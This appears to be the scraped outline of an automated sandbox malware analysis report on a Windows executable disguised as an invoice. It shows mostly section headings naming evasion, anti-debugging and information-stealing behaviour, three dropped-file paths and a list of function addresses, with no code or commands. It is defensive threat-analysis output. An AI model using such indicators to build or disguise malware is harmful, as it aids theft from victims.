Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\INV.2022LB0362 FORM CO (2).exe.log

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
INV.2022LB0362 FORM CO (2).exe

Function 00FAB6C9 Relevance: 6.1, APIs: 4, Instructions: 122
threadCOMMON

Function 00FAB6D0 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Function 00FAFD2E Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Function 00FAFD38 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 00FA5365 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Function 00FA3DE4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 00FA9B32 Relevance: 1.6, APIs: 1, Instructions: 73
libraryCOMMON

Function 00FAB8F2 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Function 00FA9841 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 00FAB8F8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 00FA94B8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 00FA98B0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON